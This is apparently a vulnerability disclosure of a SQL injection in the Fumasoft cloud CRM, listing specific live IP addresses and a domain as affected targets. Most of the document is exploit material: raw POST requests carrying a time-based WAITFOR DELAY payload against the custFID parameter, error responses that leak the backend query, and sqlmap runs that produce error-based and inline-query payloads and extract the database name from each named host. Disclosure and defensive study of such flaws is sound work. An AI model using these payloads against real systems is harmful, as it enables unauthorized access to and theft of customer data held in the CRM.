

孚盟云 (Fumasoft Cloud CRM Platform) SQL Injection

Company's Official Website: <https://www.fumasoft.com/>

Details: The parameter custFID is vulnerable to SQL injection. The value is concatenated into a SQL query without sanitization. A time-based payload using WAITFOR DELAY causes a noticeable delay in response, confirming that SQL injection is present.

Affected IPs/Domains (All Versions):

<http://36.137.212.199:9090/>
<http://118.25.21.139:9090/>
<http://110.85.164.66:9090/>
<http://www.dingc0fb9cecc86c265c.fumasoft.com/>

Example 1:

POST /m/Dingding/Ajax/AjaxNewTrack.ashx HTTP/1.1
Host: 36.137.212.199:9090
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:50.0)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

method=GetContacts&custFID=11112;WAITFOR DELAY '0:0:2'--+-

The screenshot shows a web browser window with the address bar set to `http://36.137.212.199:9090`. The browser displays the raw HTTP request and response. The request is a POST to `/m/Dingding/Ajax/AjaxNewTrack.ashx` with the following headers and body:

```
POST /m/Dingding/Ajax/AjaxNewTrack.ashx HTTP/1.1
Host: 36.137.212.199:9090
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:50.0)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

method=GetContacts&custFID=11112;WAITFOR DELAY '0:0:2'--+-
```

The response is an HTTP 500 Internal Server Error with the following headers and body:

```
HTTP/1.1 500 Internal Server Error
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 19 Jul 2025 06:36:32 GMT
Connection: close
Content-Length: 5095

<!DOCTYPE html>
<html>
<head>
<title>'0' 附近有语法错误。 select * from bfCustomers where
FID='11112;WAITFOR DELAY '0:0:2'-- .<br></title>
<meta name="viewport" content="width=device-width" />
<style>
```

The browser status bar at the bottom shows "Done" and "5,355 bytes | 2,052 millis".

```
C:\Windows\System32\cmd.exe
[14:41:11] [INFO] testing 'Generic inline queries'
[14:41:12] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:41:12] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[14:41:16] [INFO] target URL appears to be UNION injectable with 1 columns
[14:41:16] [WARNING] if UNION based SQL injection is not detected, please consider and/or try to force the back-end DBMS (e.g. '--dbms=mysql')
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 51 HTTP(s) requests:
---
Parameter: #1* (URI)
  Type: error-based
  Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
  Payload: http://36.137.212.199:9090/m/Dingding/Ajax/AjaxNewTrack.ashx?method=GetContacts&custFID=11 AND 9951 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (9951=9951) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(98)+CHAR(107)+CHAR(113)))
---
[14:41:17] [INFO] testing Microsoft SQL Server
[14:41:17] [INFO] confirming Microsoft SQL Server
[14:41:18] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2022 or 10 or 2016 or 2019 or 11
web application technology: Microsoft IIS 10.0, ASP.NET 4.0.30319, ASP.NET
back-end DBMS: Microsoft SQL Server 2008
[14:41:18] [INFO] fetching current database
[14:41:18] [INFO] retrieved: 'FumaCRM8'
current database: 'FumaCRM8'
[14:41:18] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 65 times
```

current database: 'FumaCRM8'

Example 2:

POST /m/Dingding/Ajax/AjaxNewTrack.ashx HTTP/1.1

Host: 118.25.21.139:9090

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:50.0)

Accept-Encoding: gzip, deflate

Accept: */*

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 60

method=GetContacts&custFID=11112;WAITFOR DELAY '0:0:2'--+-

Target: http://118.25.21.139:9090

Request

Raw Params Headers Hex

POST /m/Dingding/Ajax/AjaxNewTrack.ashx HTTP/1.1
Host: 118.25.21.139:9090
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:50.0)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

method=GetContacts&custFID=11112;WAITFOR DELAY '0:0:2'--+-

Response

Raw Headers Hex HTML Render

HTTP/1.1 500 Internal Server Error
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 19 Jul 2025 06:37:03 GMT
Connection: close
Content-Length: 5149

<!DOCTYPE html>
<html>
<head>
<title>*0"附近有语法错误。select * from bfCustomers where FID='11112;WAITFOR DELAY '0:0:2'--.-
</title>
<meta name="viewport" content="width=device-width" />
<style>

Done 5,409 bytes | 2,335 millis

```
C:\Windows\System32\cmd.exe
[14:41:56] [INFO] target URL appears to be UNION injectable with 1 columns
[14:41:57] [WARNING] if UNION based SQL injection is not detected, please consider and/or try to force the back-end DBMS
(e.g. '--dbms=mysql')
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 51 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
Payload: http://118.25.21.139:9090/m/Dingding/Ajax/AjaxNewTrack.ashx?method=GetContacts&custFID=11 AND 2590 IN (SELECT
CT (CHAR(113)+CHAR(120)+CHAR(112)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (2590=2590) THEN CHAR(49) ELSE CHAR(48) END)))
CHAR(113)+CHAR(113)+CHAR(118)+CHAR(118)+CHAR(113)+CHAR(113)))
Type: inline query
Title: Generic inline queries
Payload: http://118.25.21.139:9090/m/Dingding/Ajax/AjaxNewTrack.ashx?method=GetContacts&custFID=(SELECT CONCAT(CONCA
T(CHAR(113)+CHAR(120)+CHAR(112)+CHAR(118)+CHAR(113), (CASE WHEN (2808=2808) THEN CHAR(49) ELSE CHAR(48) END)),CHAR(113)+C
HAR(113)+CHAR(118)+CHAR(118)+CHAR(113)))
[14:41:57] [INFO] testing Microsoft SQL Server
[14:41:57] [INFO] confirming Microsoft SQL Server
[14:41:57] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 11 or 10 or 2022 or 2016 or 2019
web application technology: Microsoft IIS 10.0, ASP.NET 4.0.30319, ASP.NET
back-end DBMS: Microsoft SQL Server 2014
[14:41:57] [INFO] fetching current database
[14:41:57] [INFO] retrieved: 'FumaCRM8'
current database: 'FumaCRM8'
[14:41:57] [WARNING] HTTP error codes detected during run:
```

Example 3:

POST /m/Dingding/Ajax/AjaxNewTrack.ashx HTTP/1.1
Host: 110.85.164.66:9090
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:50.0)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

method=GetContacts&custFID=11112;WAITFOR DELAY '0:0:2'--+-

1 x ...

Go Cancel < >

Target: http://110.85.164.66:9090

Request

Raw Params Headers Hex

POST /m/Dingding/Ajax/AjaxNewTrack.ashx HTTP/1.1
Host: 110.85.164.66:9090
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:50.0)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

method=GetContacts&custFID=11112;WAITFOR DELAY 0:0:2'-->

0 matches

Response

Raw Headers Hex HTML Render

HTTP/1.1 500 Internal Server Error
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 19 Jul 2025 06:37:50 GMT
Connection: close
Content-Length: 4141

<html>
<head>
<title>0' 附近有语法错误。select * from bfCustomers where FID='11112;WAITFOR DELAY 0:0:2'-->.
</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size:.7em;color:black;}
</style>

0 matches

Done 4,400 bytes | 2.099 millis

```
C:\Windows\System32\cmd.exe

[14:42:24] [INFO] testing 'Generic inline queries'
[14:42:24] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:42:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[14:42:27] [INFO] target URL appears to be UNION injectable with 1 columns
[14:42:27] [WARNING] if UNION based SQL injection is not detected, please consider and/or try to force the back-end DBMS (e.g. '--dbms=mysql')
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 51 HTTP(s) requests:
---
Parameter: #1* (URI)
  Type: error-based
  Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
  Payload: http://110.85.164.66:9090/m/Dingding/Ajax/AjaxNewTrack.ashx?method=GetContacts&custFID=11 AND 2379 IN (SELECT CHAR(113)+CHAR(118)+CHAR(107)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (2379=2379) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(120)+CHAR(120)+CHAR(113)))
---
[14:42:28] [INFO] testing Microsoft SQL Server
[14:42:28] [INFO] confirming Microsoft SQL Server
[14:42:29] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 7 or 2008 R2
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
[14:42:29] [INFO] fetching current database
[14:42:29] [INFO] retrieved: 'FumaCRM8'
current database: 'FumaCRM8'
[14:42:29] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 66 times
```